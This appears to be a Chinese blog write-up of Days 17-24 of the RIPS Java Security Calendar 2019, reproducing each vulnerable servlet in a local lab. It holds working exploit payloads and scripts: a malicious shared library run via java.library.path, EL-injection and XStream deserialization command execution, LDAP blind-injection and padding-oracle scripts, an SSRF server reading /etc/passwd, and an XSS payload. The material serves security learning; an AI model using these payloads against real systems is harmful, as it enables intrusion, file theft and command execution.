Day 17
https://www.ripstech.com/java-security-calendar-2019/
从这段代码中可以看出,首先它有一个上传功能,它可以安全地上传任何扩展名以及任何Content-Type的文件至/var/myapp/data目录下。然后get请求中,会首先执行loadEnv()函数,它会将cookie进行处理,提取出cookie中的env段进行环境变量的设置,其中它在setEnv函数中对环境变量名进行判断,不允许环境变量名以"java", "os"以及"file"开头。但可通过.java.xxx来绕过,从而可以设置以java开头的环境变量,将java.library.path设置为文件上传目录,从而在System.loadLibrary()函数中,加载恶意文件。
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>day17</servlet-name>
<servlet-class>com.ananaskr.day17.JavaDeobfuscatorStartupController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>day17</servlet-name>
<url-pattern>/day17</url-pattern>
</servlet-mapping>
</web-app>
JavaDeobfuscatorStartupController.java
public class JavaDeobfuscatorStartupController extends HttpServlet {
...
private static void uploadFile(HttpServletRequest request, HttpServletResponse response) throws IOException {
// Secure file upload with arbitrary content type and extension in known path /var/myapp/data
DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
ServletFileUpload upload = new ServletFileUpload(factory);
String uploadPath = "/var/myapp/data";
File uploadDir = new File(uploadPath);
if(!uploadDir.exists()){
uploadDir.mkdir();
}
try{
List<FileItem> items = upload.parseRequest(request);
if (items != null && items.size() >0){
for (FileItem item : items){
if(!item.isFormField()){
String name = item.getName();
String file = uploadPath+File.separator+name.replace("/","");
System.out.println(file);
File storeFile = new File(file);
item.write(storeFile);
}
}
}
} catch (Exception ex){
response.sendRedirect("/");
}
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException{
uploadFile(request,response);
}
...
index.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Upload</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
<form method="post" action="/Day17_war_exploded/day17" enctype="multipart/form-data">
<input type="file" name="uploadFile"/>
<br/><br/>
<input type="submit" value="upload"/>
</form>
</body>
</html>
作为攻击者,目的主要是为了上传恶意的.so文件,使其在被加载时就执行恶意行为。在这里参考了巧用LD_PRELOAD突破disable_functions。GCC有个C语言扩展修饰符__attribute__((__constructor__)),可以让由它修饰的函数在main()之前执行,若它出现在共享对象中,那么共享对象被系统加载,立即执行__attribute__((__constructor__))修饰的函数。
可构造如下的libDEOBFUSCATION_LIB.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("id");
}
然后编译,生成恶意的so文件
gcc -shared -fPIC libDEOBFUSCATION_LIB.c -o libDEOBFUSCATION_LIB.so -ldl
将生成的libDEOBFUSCATION_LIB.so首先上传到/var/myapp/data目录下。然后通过.java.library.path然后黑名单检查,因此可发送如下请求
提示:在此过程中,由于是在MAC OS上进行的复现,System.loadLibrary("XXX")函数只会读取java.library.path路径下的libXXX.dylib,而不会读取libXXX.so。因此,将libDEOBFUSCATION_LIB.so修改后缀为libDEOBFUSCATION_LIB.dylib,然后进行上传,才可成功。
可看到,在命令行中输出了id的结果
Day 18
https://www.ripstech.com/java-security-calendar-2019/
这段代码中有一个会话固定攻击,可导致命令注入漏洞。当第一次访问时,新的会话被创建且会话变量被设置,然而在此过程中,攻击者控制了一些会话的参数,用户输入的config被分割为key-value对。然后被处理的config值被合并至whitelist中。这将导致攻击者可以完全控制自己会话的会话变量。
攻击者的目标是达到"execute last command"部分,只有通过Authorization header提供有效密码并设置会话变量last_command时,才能访问"execute last command"部分。
综上所述,攻击者可以完全控制会话变量,但仅仅在自己的会话中,没有密码,无法访问到"execute last command"部分。在35-39行代码中存在会话固定漏洞,导致对受害者cookie的完全控制。可以通过向应用程序管理员发送一个链接,并通过参数config将其会话设置为已知会话,然后执行上次存储的shell命令。身份验证头是自动发送的,因此密码检查通过。
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>day18</servlet-name>
<servlet-class>com.ananaskr.day18.LoadConfig</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>day18</servlet-name>
<url-pattern>/day18</url-pattern>
</servlet-mapping>
</web-app>
import org.apache.tomcat.util.http.fileupload.IOUtils -> import org.apache.commons.io.IOUtils
validBasicAuthHeader()
private boolean validBasicAuthHeader(HttpServletRequest request){
HttpSession session = request.getSession(true);
String auth = (String)session.getAttribute("Authorization");
if(auth.equals("password_of_day18")){
return true;
}else if(request.getParameter("passwd").equals("password_of_day18")){
session.setAttribute("Authorization","password_of_day18");
return true;
}else{
return false;
}
}
首先准备两个浏览器,Google和Safari分别对应于应用程序管理员和攻击者。
1.攻击者(在Safari浏览器中)首先访问应用程序,获得其session的JSESSIONID。并将last_command存储至session中。payload如下
?config=last_command@ls
2.将获取的JSESSIONID,即8A36A702791A470114ECD0BA77B61653。创建一个链接,发送给应用层序管理员,使其点击,将攻击的JSESSIONID与自己的会话绑定。
?config=JSESSIONID@D4E9132DB9703009B1C932E7C37286ED&save_session=yes
3.应用程序管理者(在Google浏览器中)发送如下payload,完成验证
?home=yes&passwd=password_of_day18
4.应用程序管理员点击?config=JSESSIONID@D4E9132DB9703009B1C932E7C37286ED&save_session=yes
,将攻击者的JSESSIONID绑定至自己的会话中。
5.在这之后,攻击者再发送请求后,绕过了原来的验证,且一开始已经将last_command存储在会话中了,发送如下payload即可。
?home=yes
Day 19
https://www.ripstech.com/java-security-calendar-2019/
代码获取请求参数p的值,并将其通过eval()函数执行,易导致表达式语言注入攻击。为了防止EL注入攻击,首先对获取的用户输入进行判断,必须以"开头,然后通过正则表达式防止注入危险的类和语言结构(这些类和语言结构可用于执行任意Java指令)。然而这些都很容易绕过。
由于Java的灵活性,有无数方法绕过黑名单。例如,可以通过反射调用javax.scripts.ScriptEngineManager类。Eval需要一个字符串,很多方法可以对该字符串进行编码,最终导致代码注入。
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>day19</servlet-name>
<servlet-class>com.ananaskr.day19.RenderExpression</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>day19</servlet-name>
<url-pattern>/day19</url-pattern>
</servlet-mapping>
</web-app>
由于直接执行java反射代码无法绕过对于"的判断,所以新实例化了一个ScriptEngine对象调用eval()函数实现代码注入。其中,对于正则表达式出现的关键字,采用replaceAll来绕过,具体的payload如下:
"".equals(javax.script.ScriptEngineManager.class.getConstructor().newInstance().getEngineByExtension("js").eval("java.lang.Auntime.getAuntime().exec(\"touch /tmp/owned.jsp\")".replaceAll("A","R")))
在发送请求时,将其escape,其中"touch /tmp/owned.jsp"中间的空格换成"+",否则会导致无法绕过正则匹配。
Day 20
https://www.ripstech.com/java-security-calendar-2019/
在代码的54行,用户输入username被传递给userExists()方法中,
此方法检查此用户是否存在LDAP目录中。在此方法中对用户的输入首先进行一个过滤,不允许出现黑名单中的如uuid等敏感的值。然后将用户输入拼接到查询语句中进行用户的查询。若查询结果不为0,则页面出现"User is found"。根据这一差异,可以进行LDAP盲注。代码中通过对用户输入的值进行黑名单检查从而阻止LDAP注入,但是这仅仅限制了对敏感信息的种类的获取,不在黑名单中的信息createtimestamp,description的值依然可以获得。根据executeCommand()函数,且若获取到管理员用户的createtimestamp,可以生成API token,然后利用此token可以执行shell命令。
docker pull osixia/openldap:1.3.0
ldapadd -x -H ldap://localhost:389 -D "cn=admin,dc=example,dc=org" -w admin -f test.ldif
//test.ldif
dn: cn=ananaskr1,dc=example,dc=org
objectClass: simpleSecurityObject
objectClass: inetOrgPerson
cn: ananaskr1
sn: ad
uid: admin
userPassword:: e1NTSEF9bzVZaGNCQUg4Sm9IcC9LNEZXV2YyK21vQ1VJemkwcmw=
mail: [email protected]
description: hacked by ananaskr
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>day20</servlet-name>
<servlet-class>com.ananaskr.day20.UserController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>day20</servlet-name>
<url-pattern>/day20</url-pattern>
</servlet-mapping>
</web-app>
由于在新加入的条目中含有description字段,且description也未在黑名单中。就使用LDAP盲注来获取description的值。构造的payload如下
?username=admin)(description=H*
?username=admin)(description=Ha*
可编写脚本来获取
import requests
import string
url = "http://localhost:8080/Day20_war_exploded/day20?username=admin)(description="
Alpha=string.ascii_letters+string.digits+' '
des = ""
while True:
flag = False
for i in Alpha:
url1 = url + des +i+"*"
res=requests.get(url=url1)
if("User is found." in res.text):
des = des + i
flag=True
break
if(flag==False):
break
print(des)
Day 21
https://www.ripstech.com/java-security-calendar-2019/
在代码中,方法decrypt使用AES算法解密用户提供的十六进制编码的密文。加密密文是攻击者已知的,且初始的IV攻击者也已知。然而,攻击者并不知道密钥,因此被加密的明文无法获知。但密文并没有被MAC或者签名保护,攻击者可以操作IV(密文的前16个比特),利用CBC的延展性来导致BadPaddingException。因此,在不知道密钥的情况下,可以通过Padding Oracle攻击来获取明文。
关于Padding Oracle的资料。
https://www.freebuf.com/articles/web/15504.html.
https://www.owasp.org/images/e/eb/Fun_with_Padding_Oracles.pdf.
将req.getParameter("c")
改为req.getParameter("c").toCharArray()
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>encodingFilter</filter-name>
<filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>UTF-8</param-value>
</init-param>
<init-param>
<param-name>forceEncoding</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>encodingFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<servlet>
<servlet-name>dispatcher</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcher</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
dispatcher-servlet.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:content="http://www.springframework.org/schema/context"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc https://www.springframework.org/schema/mvc/spring-mvc.xsd">
<content:component-scan base-package="com.ananaskr.day21"/>
<context:annotation-config/>
<mvc:default-servlet-handler/>
<mvc:annotation-driven/>
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix">
<value>/WEB-INF/</value>
</property>
<property name="suffix">
<value>.jsp</value>
</property>
</bean>
</beans>
applicationContext.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="day21" class="com.ananaskr.day21.Decrypter">
</bean>
</beans>
攻击者已知的是初始IV和密文。
// Payload to decrypt: 699c99a4f27a4e4c310d75586abe8d32a8fc21a1f9e400f22b1fec7b415de5a4
IV: 699c99a4f27a4e4c310d75586abe8d32
密文: a8fc21a1f9e400f22b1fec7b415de5a4
根据Padding Oracle攻击的步骤,利用IV=00000000000000000000000000000000来开始猜测Intermediary Value的最后一字节,通过测试,当最后一字节值为0x3b,即发送请求为http://localhost:8080/Day21_war_exploded/decrypt?c=0000000000000000000000000000003ba8fc21a1f9e400f22b1fec7b415de5a4
时,返回的响应不是"Invalid Padding"。此时最后一字节的Intermediary Value =0x3b^0x01
=0x3a。
然后将Intermediary Value^0x02来继续猜测倒数第二字节的Intermediary Value值。
迭代地进行计算,一共16个字节,最多需要16*256次尝试即可得到Intermediary Value值,然后将其与初始IV进行异或,即可得到明文。为了方便,编写如下脚本,计算Intermediary Value值
IV.py
import requests
url1 = "http://localhost:8080/Day21_war_exploded/decrypt?c="
cipher = "a8fc21a1f9e400f22b1fec7b415de5a4"
intervalue = []
value = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]
for j in range(1,17):
IV = ""
IV = IV+"00"*(16-j)
inva = ""
for k in range(len(intervalue)):
inva_t=hex(intervalue[k]^value[len(intervalue)])[2:]
if(len(inva_t)==1):
inva="0"+inva_t+inva
else:
inva=inva_t+inva
for i in range(1,257):
if(len(hex(i)[2:])==1):
IV1 = IV+"0"+hex(i)[2:]
else:
IV1 = IV+hex(i)[2:]
c = IV1+inva+cipher
url = url1+c
res=requests.get(url=url)
if("Invalid" not in res.text):
intervalue.append(i^value[len(intervalue)])
print(intervalue)
break
得到的结果Intermediary Value =[58, 133, 182, 98, 80, 125, 5, 57, 41, 32, 21, 150, 200, 245, 249, 30]
,第一个表示最后一字节,将其与初始IV进行异或,得到明文为"welldone",如下所示
Day 22
https://www.ripstech.com/java-security-calendar-2019/
参数url在第31行通过getUrl()转换为URLConnection对象。在getURl方法中会检查url是否以http开头,是否是有效的外部URL,并设置禁止跳转跟随。然而,在第33-43行中允许设置Location头进行重定向。若受攻击者控制的URL发送受攻击者控制的Location头,则可进行SSRF。但由于会对Location头的值是否以http://进行检查,但是检查不严格,仅仅要求http://存在即可。因此可构造恶意的Location值,从而实现SSRF,更进一步地可实现文件读取漏洞。
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>day22</servlet-name>
<servlet-class>com.ananaskr.day22.ReadExternalUrl</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>day22</servlet-name>
<url-pattern>/day22</url-pattern>
</servlet-mapping>
</web-app>
首先得实现一个http服务器,使得返回的响应头Location是攻击者可控的。Python实现的http服务器如下所示:
http.py
import socket
from multiprocessing import Process
def handle_client(client_socket):
request_data=client_socket.recv(1024)
response_start_line = "HTTP/1.1 200 OK\r\n"
response_headers = "Location:file:///etc/passwd#http://www.baidu.com"
response_body = "<h1>Python HTTP Test</h1>"
response = response_start_line+response_headers+"\r\n"+response_body
client_socket.send(bytes(response,"utf-8"))
client_socket.close()
if __name__ == "__main__":
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(("",8888))
server_socket.listen(128)
while True:
client_socket, client_address = server_socket.accept()
print("[%s, %s] connected" % client_address)
handle_client_process = Process(target=handle_client, args=(client_socket,))
handle_client_process.start()
client_socket.close()
其中,Location里的值为构造的恶意值,可以直接读取到敏感文件。构造完http服务器后,将其放置在服务器上,然后payload为:
http://localhost:8080/Day22_war_exploded/day22?url=http://your_server_ip:8888/
Day 23
https://www.ripstech.com/java-security-calendar-2019/
name。其中name参数进行了escape避免产生XSS。代码的漏洞点在于第18行format()函数易产生格式化字符串漏洞,从calendar对象包含的各个对象调用toString()函数,若有一个对象中存在包含xss payload的字符串,且拼接的name参数中有%s,则会产生格式化字符串漏洞,从而导致反射XSS漏洞。而第12行创建了一个java.util.SimpleTimeZone对象,该对象接收一个未过滤的用户控制的输入id,该id被添加到Calendar对象中。因此,产生漏洞。
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>day23</servlet-name>
<servlet-class>com.ananaskr.ShowCalendar</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>day23</servlet-name>
<url-pattern>/day23</url-pattern>
</servlet-mapping>
</web-app>
ShowCalendar.java
SimpleDateFormat parser=new SimpleDateFormat("EEE MMM d HH:mm:ss zzz yyyy");
改为
SimpleDateFormat parser=new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss");
否则会报"java.text.ParseException: Unparseable date"
根据前面漏洞点的分析,payload构造如下所示
day23?id=<script>alert(1)</script>¤t_time=2013-06-28T00:00:00+00:00&name=%shello
将特殊字符进行url编码
day23?id=<script>alert(1)</script>¤t_time=2013-06-28T00:00:00%2B00:00&name=%25shello
结果如下所示
Day 24
https://www.ripstech.com/java-security-calendar-2019/
此代码包含一个对象注入漏洞。通过Spring框架的@RequestBody注解将用户输入映射到参数xml上。输入然后被解析为一个org.w3c.dom.Document实例。在解析之后,XPath表达式//com.ananaskr.day24.User[@serialization='custom'][1]
被用于选择com.ananaskr.day24.User节点。在第17行,此节点被转换为字符串并在第20行Xstream反序列化。
在代码中有2个类,都实现了Serializable接口,意味着这些类的对象可以被序列化。
sink点在第19行Invoker类的readObject方法,这个代码片段允许攻击者创建一个任意的对象,方法是用一个字符串数组调用构造函数,并invoke一个攻击者控制的这个对象的方法(此方法不需要参数)。使用一下payload,我们可以创建ProcessBuilder实例并执行任意shell命令。
因此,对象注入需要反序列化Invoker类,但是Xpath表达式//com.ananaskr.day24.User[@serialization='custom'][1]
只选择User类。然而,User类的内部还可以有Invoker子类,因此可以绕过此检查,再加之Xstream能序列化任意类,最终导致对象注入。
transient private String password;
改为transient private Object password;
password = (String) stream.readObject();
改为password = stream.readObject();
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>encodingFilter</filter-name>
<filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>UTF-8</param-value>
</init-param>
<init-param>
<param-name>forceEncoding</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>encodingFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<servlet>
<servlet-name>dispatcher</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcher</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:content="http://www.springframework.org/schema/context"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc https://www.springframework.org/schema/mvc/spring-mvc.xsd">
<content:component-scan base-package="com.ananaskr.day24"/>
<context:annotation-config/>
<mvc:default-servlet-handler/>
<mvc:annotation-driven/>
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix">
<value>/WEB-INF/</value>
</property>
<property name="suffix">
<value>.jsp</value>
</property>
</bean>
</beans>
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="day24" class="com.ananaskr.day24.Day24">
</bean>
</beans>
根据漏洞点的分析,需要在User类中包含Invoker子类。payload如下所示
<com.ananaskr.day24.User serialization="custom">
<com.ananaskr.day24.User>
<default>
<email>[email protected]</email>
<name>Peter</name>
</default>
<com.ananaskr.day24.Invoker serialization="custom">
<com.ananaskr.day24.Invoker>
<default>
<a>
<string>touch</string>
<string>/tmp/abc</string>
</a>
<c>java.lang.ProcessBuilder</c>
<m>start</m>
</default>
</com.ananaskr.day24.Invoker>
</com.ananaskr.day24.Invoker>
</com.ananaskr.day24.User>
</com.ananaskr.day24.User>
过程如图所示
Ripstech Java Security 2019 Calendar系列的内容都比较简单,适合入门学习。每个day的环境已上传至github,可供参考。